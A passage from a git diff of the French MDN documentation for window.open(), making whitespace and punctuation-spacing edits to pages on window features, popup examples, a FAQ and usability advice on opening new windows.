de {{domxref("Navigator.onLine")}} bascule à `false`. <table class="properties"> <tbody> diff --git a/files/fr/web/api/window/open/index.md b/files/fr/web/api/window/open/index.md index d0be3ff011..1255f9a281 100644 --- a/files/fr/web/api/window/open/index.md +++ b/files/fr/web/api/window/open/index.md @@ -21,7 +21,7 @@ var windowObjectReference = window.open(strUrl, strWindowName[, strWindowFeature ### Valeur renvoyée et paramètres - `WindowObjectReference` - - : Il s'agit de la référence pointant vers la fenêtre de navigation nouvellement créée. Cette référence est la valeur renvoyée par la méthode `open()` ; elle sera à `null` si pour une raison ou une autre l'appel n'a pas réussi à ouvrir une fenêtre. Une variable globale est le meilleur endroit pour stocker une telle référence. Il est alors possible, par exemple, de l'utiliser pour obtenir certaines propriétés de la nouvelle fenêtre, ou accéder à certaines de ses méthodes, à condition que la relation entre votre fenêtre principale et votre fenêtre secondaire se conforme avec les paramètres de sécurité de même origine (_[Same origin policy](http://www.mozilla.org/projects/security/components/same-origin.html) security requirements_ ). + - : Il s'agit de la référence pointant vers la fenêtre de navigation nouvellement créée. Cette référence est la valeur renvoyée par la méthode `open()` ; elle sera à `null` si pour une raison ou une autre l'appel n'a pas réussi à ouvrir une fenêtre. Une variable globale est le meilleur endroit pour stocker une telle référence. Il est alors possible, par exemple, de l'utiliser pour obtenir certaines propriétés de la nouvelle fenêtre, ou accéder à certaines de ses méthodes, à condition que la relation entre votre fenêtre principale et votre fenêtre secondaire se conforme avec les paramètres de sécurité de même origine (_[Same origin policy](http://www.mozilla.org/projects/security/components/same-origin.html) security requirements_ ). - `strUrl` - : Il s'agit de l'URL à charger dans la fenêtre nouvellement créée. _strUrl_ peut être un document HTML, un fichier image, ou tout autre type de fichier géré par le navigateur. - `strWindowName` @@ -110,7 +110,7 @@ Si le paramètre _strWindowFeatures_ est utilisé et qu'aucune information de po - toolbar - : Si cette fonctionnalité est définie à _yes_, la nouvelle fenêtre secondaire disposera d'une barre de navigation (boutons Précédente, Suivante, Actualiser et Arrêter). En plus de la barre de navigation, les navigateurs basés sur Mozilla afficheront également la barre d'onglets si elle est toujours visible et présente dans la fenêtre parente. Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher la barre de navigation en positionnant `dom.disable_window_open_feature.toolbar` à _true_ dans <kbd>about:config</kbd> ou dans leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). - location - - : Si cette fonctionnalité est définie à _yes_, la nouvelle fenêtre secondaire affichera une barre d'adresse (ou d'emplacement).Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher la barre d'adresse en positionnant `dom.disable_window_open_feature.location` à _true_ dans <kbd>about:config</kbd> ou dans leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). Notez qu'Internet Explorer 7 force la présence de la barre d'adresse : « Nous pensons que la barre d'adresse est aussi importante pour les utilisateurs **à voir dans les fenêtres pop-up**. Une barre d'adresse manquante crée une opportunité pour un fraudeur de contrefaire une adresse. Pour aider à contrer cela, **IE7 va afficher une barre d'adresse sur toutes les fenêtres de navigation pour aider les utilisateurs à voir où ils sont**. » provenant de [Better Website Identification](http://blogs.msdn.com/ie/archive/2005/11/21.aspx). Il est également dans les intentions de Mozilla de forcer la présence de la Barre d'adresse dans une prochaine version de Firefox : {{bug(337344) }} + - : Si cette fonctionnalité est définie à _yes_, la nouvelle fenêtre secondaire affichera une barre d'adresse (ou d'emplacement).Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher la barre d'adresse en positionnant `dom.disable_window_open_feature.location` à _true_ dans <kbd>about:config</kbd> ou dans leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). Notez qu'Internet Explorer 7 force la présence de la barre d'adresse : « Nous pensons que la barre d'adresse est aussi importante pour les utilisateurs **à voir dans les fenêtres pop-up**. Une barre d'adresse manquante crée une opportunité pour un fraudeur de contrefaire une adresse. Pour aider à contrer cela, **IE7 va afficher une barre d'adresse sur toutes les fenêtres de navigation pour aider les utilisateurs à voir où ils sont**. » provenant de [Better Website Identification](http://blogs.msdn.com/ie/archive/2005/11/21.aspx). Il est également dans les intentions de Mozilla de forcer la présence de la Barre d'adresse dans une prochaine version de Firefox : {{bug(337344) }} - directories - : Si cette fonctionnalité est définie à _yes_, la nouvelle fenêtre secondaire affichera la barre personnelle dans les navigateurs Netscape 6.x, Netscape 7.x, Mozilla et Firefox. Dans Internet Explorer 5+, la barre de liens sera affichée. En plus de la barre personnelle, les navigateurs Mozilla afficheront la barre de navigation du site si celle-ci est visible et présente dans la fenêtre parente. Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours afficher leur barre personnelle en positionnant`dom.disable_window_open_feature.directories` à _true_ dans <kbd>about:config</kbd> ou dans leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). - personalbar @@ -139,11 +139,11 @@ Si le paramètre _strWindowFeatures_ est utilisé et qu'aucune information de po - dependent - : Si définie à _yes_, la nouvelle fenêtre est dite dépendante de sa fenêtre parente. Une fenêtre dépendante se ferme lorsque sa fenêtre parente est fermée. Une fenêtre dépendante est réduite dans la barre des tâches uniquement lorsque sa fenêtre parente est réduite. Sur les plateformes Windows, une fenêtre dépendante n'est pas affichée sur la barre des tâches. Elle reste également en avant-plan de la fenêtre parente. Les fenêtres dépendantes n'existent pas sous Mac OS X, cette option y sera ignorée. La suppression complète de cette fonctionnalité sur toutes les plateformes est en cours de discussion ({{ Bug(214867) }}) Dans Internet Explorer 6, le plus proche équivalent à cette fonctionnalité est la méthode `showModelessDialog()`. - modal - - : **Note** : à partir de Mozilla 1.2.1, cette fonctionnalité requiert le privilège `UniversalBrowserWrite` ({{ Bug(180048) }}). Sans ce privilège, elle est équivalente à `dependent`. Si définie à _yes_, la nouvelle fenêtre est dite modale. L'utilisateur ne peut pas retourner à la fenêtre principale tant que la fenêtre modale n'est pas fermée. Une fenêtre modale typique est créée par la [fonction alert()](fr/DOM/window.alert). Le comportement exact des fenêtres modales dépend de la plateforme et de la version de Mozilla. L'équivalent de cette fonctionnalité dans Internet Explorer 6 est la méthode `showModalDialog()`. + - : **Note** : à partir de Mozilla 1.2.1, cette fonctionnalité requiert le privilège `UniversalBrowserWrite` ({{ Bug(180048) }}). Sans ce privilège, elle est équivalente à `dependent`. Si définie à _yes_, la nouvelle fenêtre est dite modale. L'utilisateur ne peut pas retourner à la fenêtre principale tant que la fenêtre modale n'est pas fermée. Une fenêtre modale typique est créée par la [fonction alert()](fr/DOM/window.alert). Le comportement exact des fenêtres modales dépend de la plateforme et de la version de Mozilla. L'équivalent de cette fonctionnalité dans Internet Explorer 6 est la méthode `showModalDialog()`. - dialog - : La fonctionnalité `dialog` retire toutes les icônes (restaurer, réduire, agrandir) de la barre de titre de la fenêtre, laissant uniquement le bouton de fermeture. Mozilla 1.2+ et Netscape 7.1 afficheront les autres commandes du menu système (dans Firefox 1.0 et Netscape 7.0x, le menu de commandes système n'est pas associé avec l'icône de Firefox/Netscape 7.0x à l'extrémité gauche de la barre de titre, il s'agit probablement d'un bug. Il est possible d'accéder au menu de commandes système avec un clic droit sur la barre de titre). Les fenêtres de dialogue sont des fenêtres qui n'ont pas d'icône de commande système de réduction ni d'agrandissement/restauration dans la barre de titre, ni dans les choix correspondants du menu de commandes système. On les appelle dialogues car leur utilisation normale est uniquement de notifier une information et d'être ensuite immédiatement fermées. Sur les systèmes Mac, les fenêtres de dialogue ont une bordure différente et peuvent prendre la forme de*sheets*. - minimizable - - : Ce paramètre peut uniquement s'appliquer à des fenêtres de dialogue ; l'utilisation de « minimizable » nécessite `dialog=yes`. Si `minimizable` est défini à _yes_, le nouveau dialogue aura une commande système de réduction dans la barre de titre et il sera possible de le réduire dans la barre des tâches. Toute fenêtre n'étant pas un dialogue est toujours réductible, cette option y sera donc ignorée. + - : Ce paramètre peut uniquement s'appliquer à des fenêtres de dialogue ; l'utilisation de « minimizable » nécessite `dialog=yes`. Si `minimizable` est défini à _yes_, le nouveau dialogue aura une commande système de réduction dans la barre de titre et il sera possible de le réduire dans la barre des tâches. Toute fenêtre n'étant pas un dialogue est toujours réductible, cette option y sera donc ignorée. - fullscreen - : Ce paramètre ne fonctionne plus dans Internet Explorer 6 SP2 de la façon dont il le faisait dans Internet Explorer 5.x. La barre des tâches de Windows, ainsi que la barre de titre et la barre d'état de la fenêtre ne sont ni visibles, ni accessibles lorsque le mode plein écran est activé dans IE 5.x. `fullscreen` ennuie toujours les utilisateurs disposant d'un grand écran ou de plusieurs écrans. Obliger les autres utilisateurs à passer en plein écran avec `fullscreen` est également extrêmement impopulaire et est considéré comme une tentative impolie d'imposer les préférences d'affichage de l'auteur à l'utilisateur. `fullscreen` ne fonctionne plus vraiment dans Internet Explorer 6 SP2. @@ -152,7 +152,7 @@ Si le paramètre _strWindowFeatures_ est utilisé et qu'aucune information de po Les fonctionnalités suivantes nécessitent le privilège `UniversalBrowserWrite`, autrement elles seront ignorées. Les scripts chrome bénéficient de ce privilège automatiquement, les autres doivent le demander via le [PrivilegeManager](fr/PrivilegeManager). - chrome - - : **Note** : à partir de Mozilla 1.7/Firefox 0.9, cette fonctionnalité requiert le privilège `UniversalBrowserWrite` ({{ Bug(244965) }}). Sans ce privilège, elle est ignorée. Si définie à _yes_, la page est chargée en tant qu'unique contenu de la fenêtre, sans aucun autre élément de l'interface de navigation. Il n'y aura pas de menu contextuel défini par défaut, et aucun des raccourcis clavier standard ne fonctionnera. La page est supposée fournir sa propre interface utilisateur, et cette fonctionnalité est habituellement utilisée pour ouvrir des documents XUL (les dialogues standard comme la console JavaScript sont ouverts de cette façon). + - : **Note** : à partir de Mozilla 1.7/Firefox 0.9, cette fonctionnalité requiert le privilège `UniversalBrowserWrite` ({{ Bug(244965) }}). Sans ce privilège, elle est ignorée. Si définie à _yes_, la page est chargée en tant qu'unique contenu de la fenêtre, sans aucun autre élément de l'interface de navigation. Il n'y aura pas de menu contextuel défini par défaut, et aucun des raccourcis clavier standard ne fonctionnera. La page est supposée fournir sa propre interface utilisateur, et cette fonctionnalité est habituellement utilisée pour ouvrir des documents XUL (les dialogues standard comme la console JavaScript sont ouverts de cette façon). - titlebar - : Par défaut, toutes les nouvelles fenêtres secondaires ont une barre de titre. Si défini à _no_, ce paramètre enlève la barre de titre de la nouvelle fenêtre secondaire. Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours avoir une barre de titre en positionnant`dom.disable_window_open_feature.titlebar` à _true_ dans <kbd>about:config</kbd> ou dans leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). - alwaysRaised @@ -164,9 +164,9 @@ Les fonctionnalités suivantes nécessitent le privilège `UniversalBrowserWrite - close - : Lorsque défini à _no_, ce paramètre supprime l'icône système de fermeture de la fenêtre, et l'élément de menu correspondant. Il fonctionnera uniquement pour les fenêtres de dialogue (avec la fonctionnalité `dialog` activée). `close=no` a précédence sur `minimizable=yes`.Les utilisateurs de Mozilla et Firefox peuvent obliger les nouvelles fenêtres à toujours avoir un bouton de fermeture en positionnant `dom.disable_window_open_feature.close` à _true_ dans <kbd>about:config</kbd> ou dans leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). -Les fonctionnalités de position et de taille nécessitent d'être accompagnées d'un nombre. Les fonctionnalités de barres d'outils et de fenêtre peuvent être accompagnées de _yes_ (oui) ou _no_ (non) ; il est également possible d'utiliser _1_ à la place de _yes_ et _0_ à la place de _no_. Les fonctionnalités de barres d'outils et de fenêtre acceptent aussi une forme raccourcie : vous pouvez activer une fonctionnalité en listant simplement son nom dans la chaîne _strWindowFeatures_. Si vous fournissez le paramètre _strWindowFeatures_, les fonctionnalités `titlebar` et `close` sont toujours à _yes_ par défaut, mais les autres fonctionnalités présentant un choix _yes_/_no_ seront à _no_ par défaut et seront donc désactivées. +Les fonctionnalités de position et de taille nécessitent d'être accompagnées d'un nombre. Les fonctionnalités de barres d'outils et de fenêtre peuvent être accompagnées de _yes_ (oui) ou _no_ (non) ; il est également possible d'utiliser _1_ à la place de _yes_ et _0_ à la place de _no_. Les fonctionnalités de barres d'outils et de fenêtre acceptent aussi une forme raccourcie : vous pouvez activer une fonctionnalité en listant simplement son nom dans la chaîne _strWindowFeatures_. Si vous fournissez le paramètre _strWindowFeatures_, les fonctionnalités `titlebar` et `close` sont toujours à _yes_ par défaut, mais les autres fonctionnalités présentant un choix _yes_/_no_ seront à _no_ par défaut et seront donc désactivées. -Exemple : +Exemple : ```html <script type="text/javascript"> @@ -214,15 +214,15 @@ function openFFPromotionPopup() { l'adoption de Firefox</a></p> ``` -Le code ci-dessus résout un certain nombre de problèmes d'utilisabilité (_usability_ ) relatif aux liens ouvrant des fenêtres secondaires. Le but du `return false` dans le code est d'annuler l'action par défaut du lien : si le gestionnaire d'évènements onclick est exécuté, il n'est pas nécessaire d'exécuter l'action par défaut du lien. Mais si JavaScript est désactivé ou non existant dans le navigateur de l'utilisateur, c'est l'évènement onclick qui est ignoré et le navigateur charge la ressource référencée dans le cadre ou la fenêtre portant le nom « PromoteFirefoxWindowName ». Si aucun cadre ni fenêtre ne porte ce nom, le navigateur créera une nouvelle fenêtre et l'appellera « PromoteFirefoxWindowName ». +Le code ci-dessus résout un certain nombre de problèmes d'utilisabilité (_usability_ ) relatif aux liens ouvrant des fenêtres secondaires. Le but du `return false` dans le code est d'annuler l'action par défaut du lien : si le gestionnaire d'évènements onclick est exécuté, il n'est pas nécessaire d'exécuter l'action par défaut du lien. Mais si JavaScript est désactivé ou non existant dans le navigateur de l'utilisateur, c'est l'évènement onclick qui est ignoré et le navigateur charge la ressource référencée dans le cadre ou la fenêtre portant le nom « PromoteFirefoxWindowName ». Si aucun cadre ni fenêtre ne porte ce nom, le navigateur créera une nouvelle fenêtre et l'appellera « PromoteFirefoxWindowName ». -Plus d'informations sur l'utilisation de l'attribut target : +Plus d'informations sur l'utilisation de l'attribut target : [HTML 4.01, section 16.3.2 La sémantique de cible](http://www.la-grange.net/w3c/html4.01/present/frames.html#h-16.3.2) [Comment créer un lien qui ouvre une nouvelle fenêtre?](http://www.htmlhelp.com/fr/faq/html/links.html#new-window) -Vous pouvez également paramétriser la fonction pour la rendre polyvalente, fonctionnelle dans plus de situations, et donc réutilisable dans d'autres scripts et pages Web : +Vous pouvez également paramétriser la fonction pour la rendre polyvalente, fonctionnelle dans plus de situations, et donc réutilisable dans d'autres scripts et pages Web : ```html <script type="text/javascript"> @@ -243,7 +243,7 @@ function openRequestedPopup(strUrl, strWindowName) { <p><a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindow" onclick="openRequestedPopup(this.href, this.target); return false;" title="Ce lien créera une nouvelle fenêtre ou en réutilisera une déjà ouverte">Promouvoir l'adoption de Firefox</a></p> ``` -Vous pouvez également ne permettre à cette fonction que d'ouvrir une seule fenêtre secondaire et de la réutiliser pour d'autres liens de cette manière : +Vous pouvez également ne permettre à cette fonction que d'ouvrir une seule fenêtre secondaire et de la réutiliser pour d'autres liens de cette manière : ```html <script type="text/javascript"> @@ -258,7 +258,7 @@ function openRequestedSinglePopup(strUrl) WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName", "resizable=yes,scrollbars=yes,status=yes"); } - else if(previousUrl != strUrl) + else if(previousUrl != strUrl) { WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName", "resizable=yes,scrollbars=yes,status=yes"); @@ -272,7 +272,7 @@ function openRequestedSinglePopup(strUrl) WindowObjectReference.focus(); }; PreviousUrl = strUrl; - /* explication : on stocke l'URL courante afin de pouvoir la comparer + /* explication : on stocke l'URL courante afin de pouvoir la comparer dans le cas d'un autre appel à cette fonction. */ } </script> @@ -292,36 +292,36 @@ de Firefox</a></p> ### FAQ -- Comment empêcher l'apparition du message de confirmation demandant à l'utilisateur s'il veut fermer la fenêtre ? - - : Vous ne pouvez pas. **La règle est que les nouvelles fenêtres qui ne sont pas ouvertes par JavaScript ne peuvent pas être fermées par JavaScript.** La console JavaScript dans les navigateurs basés sur Mozilla affichera le message d'avertissement suivant : `"Scripts may not close windows that were not opened by script."` Si c'était possible, l'historique des URL visitées durant la session de navigation serait perdu au détriment de l'utilisateur. [Plus de détails sur la méthode window.close()](fr/DOM/window.close) -- Comment ramener la fenêtre si elle est réduite ou masquée par une autre fenêtre ? +- Comment empêcher l'apparition du message de confirmation demandant à l'utilisateur s'il veut fermer la fenêtre ? + - : Vous ne pouvez pas. **La règle est que les nouvelles fenêtres qui ne sont pas ouvertes par JavaScript ne peuvent pas être fermées par JavaScript.** La console JavaScript dans les navigateurs basés sur Mozilla affichera le message d'avertissement suivant : `"Scripts may not close windows that were not opened by script."` Si c'était possible, l'historique des URL visitées durant la session de navigation serait perdu au détriment de l'utilisateur. [Plus de détails sur la méthode window.close()](fr/DOM/window.close) +- Comment ramener la fenêtre si elle est réduite ou masquée par une autre fenêtre ? - : Vérifiez d'abord l'existence de la référence à l'objet window, et si celle-ci existe et n'a pas été fermée, utilisez la méthode [focus()](fr/DOM/window.focus). Il n'y a pas d'autre manière fiable. Un [exemple montrant comment utiliser la méthode focus()](#Bonnes_pratiques) est présenté ci-dessus. -- Comment forcer une fenêtre à être agrandie/maximisée ? +- Comment forcer une fenêtre à être agrandie/maximisée ? - : Ce n'est pas possible. Tous les fabricants de navigateurs essaient de rendre l'ouverture d'une nouvelle fenêtre visible et remarquée par les utilisateurs, afin d'éviter de les désorienter. -- Comment désactiver le redimensionnement des fenêtres ou supprimer les barres d'outils ? +- Comment désactiver le redimensionnement des fenêtres ou supprimer les barres d'outils ? - : Il n'est pas possible de l'imposer. Les utilisateurs de navigateurs basés sur Mozilla ont un contrôle absolu sur les fonctionnalités des fenêtres comme le fait de pouvoir les redimensionner, de les faire défiler et la présence de barres d'outils via les préférences utilisateur dans `about:config`. Comme vos utilisateurs sont ceux qui sont supposés utiliser de telles fenêtres (et non vous en tant qu'auteur), le mieux est d'éviter d'interférer avec leurs habitudes et préférences. Il est recommandé de toujours positionner la redimensionnabilité et la présence de barres de défilement (si nécessaire) à `yes` pour assurer l'accessibilité au contenu et l'utilisabilité des fenêtres. Ceci est dans l'intérêt tant de l'auteur Web que de ses utilisateurs. -- Comment redimensionner une fenêtre en fonction de son contenu ? +- Comment redimensionner une fenêtre en fonction de son contenu ? - : Ce n'est pas faisable de manière fiable, car les utilisateurs peuvent empêcher la fenêtre d'être redimensionnée en décochant la case `Édition/Préférences/Avancé/Scripts & plugins/Autoriser les scripts à/ Déplacer ou redimensionner des fenêtres existantes` dans Mozilla ou `Outils/Options/Contenu/Activer JavaScript/Bouton Avancé/Déplacer ou redimensionner des fenêtres existantes` dans Firefox, ou en positionnant `dom.disable_window_move_resize` à _true_ dans <kbd>about:config</kbd> ou encore en éditant leur [fichier user.js](http://www.mozilla.org/support/firefox/edit#user). En général, les utilisateurs désactivent le déplacement et le redimensionnement des fenêtres, étant donné qu'autoriser les scripts à le faire a été la source d'énormément d'abus dans le passé, et les rares scripts qui n'en abusent pas sont souvent incorrects dans leur manière de redimensionner la fenêtre. 99% de ces scripts désactivent le redimensionnement manuel des fenêtres et les barres de défilement alors qu'ils devraient en fait activer ces deux fonctionnalités pour permettre un mécanisme de récupération sain et circonspect dans le cas où leurs calculs s'avèreraient incorrects. La méthode [sizeToContent()](fr/DOM/window.sizeToContent) de l'objet window est également désactivée si l'utilisateur décoche la préférence `Déplacer ou redimensionner des fenêtres existantes`. Déplacer et redimensionner une fenêtre à distance sur l'écran de l'utilisateur l'ennuiera très souvent, le désorientera, et au mieux sera incorrect. Les auteurs Web espèrent souvent avoir un contrôle absolu (et un pouvoir de décision) sur tous les aspects de positionnement et de taille des fenêtres de l'utilisateur ... ce qui n'est tout simplement pas vrai. -- Comment ouvrir une ressource référencée par un lien dans un nouvel onglet ? ou dans un onglet spécifique ? +- Comment ouvrir une ressource référencée par un lien dans un nouvel onglet ? ou dans un onglet spécifique ? - : Pour l'instant, ce n'est pas possible. Seul l'utilisateur peut modifier ses préférences avancées pour faire cela. [K-meleon 1.1](http://kmeleon.sourceforge.net/), un navigateur basé sur Mozilla, donne un contrôle et un pouvoir complet à l'utilisateur sur la manière dont les liens sont ouverts. Certaines extensions avancées donnent également à Mozilla et Firefox un grand pouvoir concernant la manière dont les ressources référencées sont chargées. Dans quelques années, la [propriété target du module CSS3 hyperlien](http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0) pourrait être implémentée (si le module CSS3 Hyperlink tel qu'il existe à présent est approuvé). Même si cela se fait et lorsque cela se produira, attendez-vous à ce que les développeurs de navigateurs utilisant des onglets donnent un pouvoir de veto à l'utilisateur et un contrôle total de la façon dont les liens peuvent ouvrir des pages Web. La façon d'ouvrir un lien devrait toujours être entièrement sous le contrôle de l'utilisateur. -- Comment savoir si une fenêtre que j'ai ouverte l'est toujours ? +- Comment savoir si une fenêtre que j'ai ouverte l'est toujours ? - : Vous pouvez tester l'existence de la référence à l'objet `window`, qui est la valeur renvoyée en cas de succès de l'appel à `window.open()`, et vérifier ensuite que la valeur renvoyée par _WindowObjectReference_.closed est bien _false_. -- Comment savoir si ma fenêtre a été bloquée par un bloqueur de popups ? - - : Avec les bloqueurs de popups intégrés dans Mozilla/Firefox et Internet Explorer 6 SP2, il est possible de vérifier la valeur renvoyée par `window.open()` : elle sera _null_ si la fenêtre n'a pas été autorisée à s'ouvrir. Cependant, pour la plupart des autres bloqueurs de popups, il n'existe pas de manière fiable. -- Quelle est la relation JavaScript entre la fenêtre principale et la fenêtre secondaire ? +- Comment savoir si ma fenêtre a été bloquée par un bloqueur de popups ? + - : Avec les bloqueurs de popups intégrés dans Mozilla/Firefox et Internet Explorer 6 SP2, il est possible de vérifier la valeur renvoyée par `window.open()` : elle sera _null_ si la fenêtre n'a pas été autorisée à s'ouvrir. Cependant, pour la plupart des autres bloqueurs de popups, il n'existe pas de manière fiable. +- Quelle est la relation JavaScript entre la fenêtre principale et la fenêtre secondaire ? - : La valeur renvoyée par la méthode `window.open()` est la propriété [opener](fr/DOM/window.opener). La variable _WindowObjectReference_ lie la fenêtre principale (opener) à la fenêtre secondaire qu'elle a ouverte, tandis que le mot-clé `opener` liera la fenêtre secondaire à sa fenêtre principale (celle qui a déclenché son ouverture). -- Je n'arrive pas à accéder aux propriétés de la nouvelle fenêtre secondaire. J'obtiens toujours une erreur dans la console JavaScript disant « Erreur : uncaught exception: Permission denied to get property \<property_name or method_name> ». Pourquoi cela ? - - : Ceci est causé par la restriction de sécurité des scripts entre domaines (aussi appelée*Same Origin Policy* , « Politique de même origine »). Un script chargé dans une fenêtre (ou cadre) d'une origine donnée (nom de domaine) **ne peut pas obtenir ou modifier** des propriétés d'une autre fenêtre (ou cadre) ou les propriétés d'aucun de ses objets HTML si celle-ci provient d'une autre origine distincte (nom de domaine). C'est pourquoi, avant d'exécuter un script se référant à une fenêtre secondaire depuis la fenêtre principale, le navigateur vérifiera que la fenêtre secondaire possède le même nom de domaine. Plus d'informations à propos de la restriction de sécurité des scripts entre domaines : [http://www.mozilla.org/projects/secu...me-origin.html](http://www.mozilla.org/projects/security/components/same-origin.html) +- Je n'arrive pas à accéder aux propriétés de la nouvelle fenêtre secondaire. J'obtiens toujours une erreur dans la console JavaScript disant « Erreur : uncaught exception: Permission denied to get property \<property_name or method_name> ». Pourquoi cela ? + - : Ceci est causé par la restriction de sécurité des scripts entre domaines (aussi appelée*Same Origin Policy* , « Politique de même origine »). Un script chargé dans une fenêtre (ou cadre) d'une origine donnée (nom de domaine) **ne peut pas obtenir ou modifier** des propriétés d'une autre fenêtre (ou cadre) ou les propriétés d'aucun de ses objets HTML si celle-ci provient d'une autre origine distincte (nom de domaine). C'est pourquoi, avant d'exécuter un script se référant à une fenêtre secondaire depuis la fenêtre principale, le navigateur vérifiera que la fenêtre secondaire possède le même nom de domaine. Plus d'informations à propos de la restriction de sécurité des scripts entre domaines : [http://www.mozilla.org/projects/secu...me-origin.html](http://www.mozilla.org/projects/security/components/same-origin.html) ### Problèmes d'utilisabilité #### Évitez de recourir à `window.open()` -De manière générale, il est préférable d'éviter d'utiliser `window.open()` pour plusieurs raisons : +De manière générale, il est préférable d'éviter d'utiliser `window.open()` pour plusieurs raisons : - Tous les navigateurs basés sur Mozilla offrent la navigation par onglets, et il s'agit du mode préféré pour ouvrir des ressources référencées… pas seulement dans le cas des navigateurs basés sur Mozilla, mais dans tous les autres navigateurs offrant la navigation par onglets. En d'autres mots, les utilisateurs de navigateurs utilisant des onglets préfèrent ouvrir des onglets que des fenêtres dans la plupart des situations. Ce type de navigateur gagne rapidement en popularité depuis plusieurs années et cette tendance ne semble pas près de s'arrêter. La version 7 d'Internet Explorer sortie en octobre 2006 propose également la navigation par onglets. - Il existe à présent [plusieurs extensions à Mozilla](https://addons.update.mozilla.org/extensions/showlist.php?application=mozilla&category=Tabbed+Browsing&numpg=50&os=windows&version=auto-detect&submit=Update) (comme Multizilla) et [à Firefox](https://addons.update.mozilla.org/extensions/showlist.php?application=firefox&version=1.0+&os=Windows&category=Tabbed%20Browsing) (comme [Tabbrowser preferences](https://addons.update.mozilla.org/extensions/moreinfo.php?application=firefox&version=1.0%20&os=Windows&category=Tabbed%20Browsing&numpg=10&id=158)), fonctionnalités et préférences avancées basées sur la navigation par onglets, sur la conversion des appels à `window.open()` en ouvertures d'onglets, et sur la neutralisation des appels à `window.open()`. En particulier, afin de neutraliser l'ouverture de nouvelles fenêtres non demandées (souvent présentés comme bloquant les fenêtre popups non sollicitées ou les ouvertures automatiques de fenêtres par des scripts). Parmi ces fonctionnalités qu'on peut retrouver dans des extensions, il y a l'ouverture d'un lien dans une nouvelle fenêtre ou non, dans la même fenêtre, dans un nouvel onglet ou non, en arrière-plan ou non. Coder sans réfléchir pour ouvrir de nouvelles fenêtres n'est plus assuré de succès, ne pourra pas se faire par la force, et dans le cas où l'auteur Web y parvient, ne fera qu'ennuyer la majorité des utilisateurs. @@ -330,20 +330,20 @@ De manière générale, il est préférable d'éviter d'utiliser `window.open()` #### Offrez d'ouvrir un lien dans une nouvelle fenêtre, en suivant ces recommandations -Si vous voulez permettre l'ouverture d'un lien dans une nouvelle fenêtre, suivez ces règles d'utilisabilité et d'accessibilité testées et éprouvées : +Si vous voulez permettre l'ouverture d'un lien dans une nouvelle fenêtre, suivez ces règles d'utilisabilité et d'accessibilité testées et éprouvées : -##### N'utilisez _jamais_ ce format de code pour les liens :<br>`<a href="javascript:window.open(...)" ...>` +##### N'utilisez _jamais_ ce format de code pour les liens :<br>`<a href="javascript:window.open(...)" ...>` -Les liens « javascript: » sont toujours mauvais pour l'accessibilité et l'utilisabilité des pages Web dans tous les navigateurs. +Les liens « javascript: » sont toujours mauvais pour l'accessibilité et l'utilisabilité des pages Web dans tous les navigateurs. -- Les pseudo-liens « javascript:» ne fonctionnent plus du tout lorsque la gestion de JavaScript est désactivée ou inexistante. Certaines sociétés n'autorisent leurs employés à utiliser le Web que suivant des politiques de sécurité très strictes : JavaScript désactivé, pas de Java, pas d'ActiveX, pas de Flash. Pour diverses raisons (sécurité, accès public, navigateurs texte, etc.), environ 5% à 10% des utilisateurs naviguent sur le Web avec JavaScript désactivé. -- Les liens « javascript: » interfèrent avec les fonctionnalités avancées de la navigation par onglets : entre autres, le clic du milieu sur des liens, le raccourci Ctrl+clic sur un lien, les fonctions de certaines extensions, etc. -- Les liens « javascript: » interfèrent avec le processus d'indexation des pages Web par les moteurs de recherche. -- Les liens « javascript: » interfèrent avec les technologies d'assistance (par exemple les lecteurs vocaux) et diverses applications utilisant le Web (par exemple les PDA ou les navigateurs pour mobiles). -- Les liens « javascript: » interfèrent également avec les fonctionnalités de « mouse gestures » proposées par certains navigateurs. -- Le schéma de protocole « javascript: » sera rapporté comme une erreur par les validateurs et vérificateurs de liens. +- Les pseudo-liens « javascript:» ne fonctionnent plus du tout lorsque la gestion de JavaScript est désactivée ou inexistante. Certaines sociétés n'autorisent leurs employés à utiliser le Web que suivant des politiques de sécurité très strictes : JavaScript désactivé, pas de Java, pas d'ActiveX, pas de Flash. Pour diverses raisons (sécurité, accès public, navigateurs texte, etc.), environ 5% à 10% des utilisateurs naviguent sur le Web avec JavaScript désactivé. +- Les liens « javascript: » interfèrent avec les fonctionnalités avancées de la navigation par onglets : entre autres, le clic du milieu sur des liens, le raccourci Ctrl+clic sur un lien, les fonctions de certaines extensions, etc. +- Les liens « javascript: » interfèrent avec le processus d'indexation des pages Web par les moteurs de recherche. +- Les liens « javascript: » interfèrent avec les technologies d'assistance (par exemple les lecteurs vocaux) et diverses applications utilisant le Web (par exemple les PDA ou les navigateurs pour mobiles). +- Les liens « javascript: » interfèrent également avec les fonctionnalités de « mouse gestures » proposées par certains navigateurs. +- Le schéma de protocole « javascript: » sera rapporté comme une erreur par les validateurs et vérificateurs de liens. -**Plus d'informations à ce sujet :** +**Plus d'informations à ce sujet :** - [Top Ten Web-Design Mistakes of 2002](http://www.useit.com/alertbox/20021223.html), 6. JavaScript in Links, Jakob Nielsen, Décembre 2002 - [Links & JavaScript Living Together in Harmony](http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/), Jeff Howden, Février 2002 @@ -351,32 +351,32 @@ Les liens « javascript: » sont toujours mauvais pour l'accessibilité et l'u ##### N'utilisez jamais `<a href="#" onclick="window.open(...);">` -Un tel pseudo-lien met également en péril l'accessibilité des liens. **Utilisez toujours une véritable URL pour la valeur de l'attribut href**, afin que si JavaScript s'avère désactivé ou absent, ou si le navigateur ne peut pas ouvrir de fenêtre secondaire (comme Microsoft Web TV, les navigateurs en mode texte, etc.), de tels navigateurs pourront toujours charger la référence référencée dans leur mode de chargement/gestion de nouvelles ressources par défaut. Cette forme de code interfère également avec les 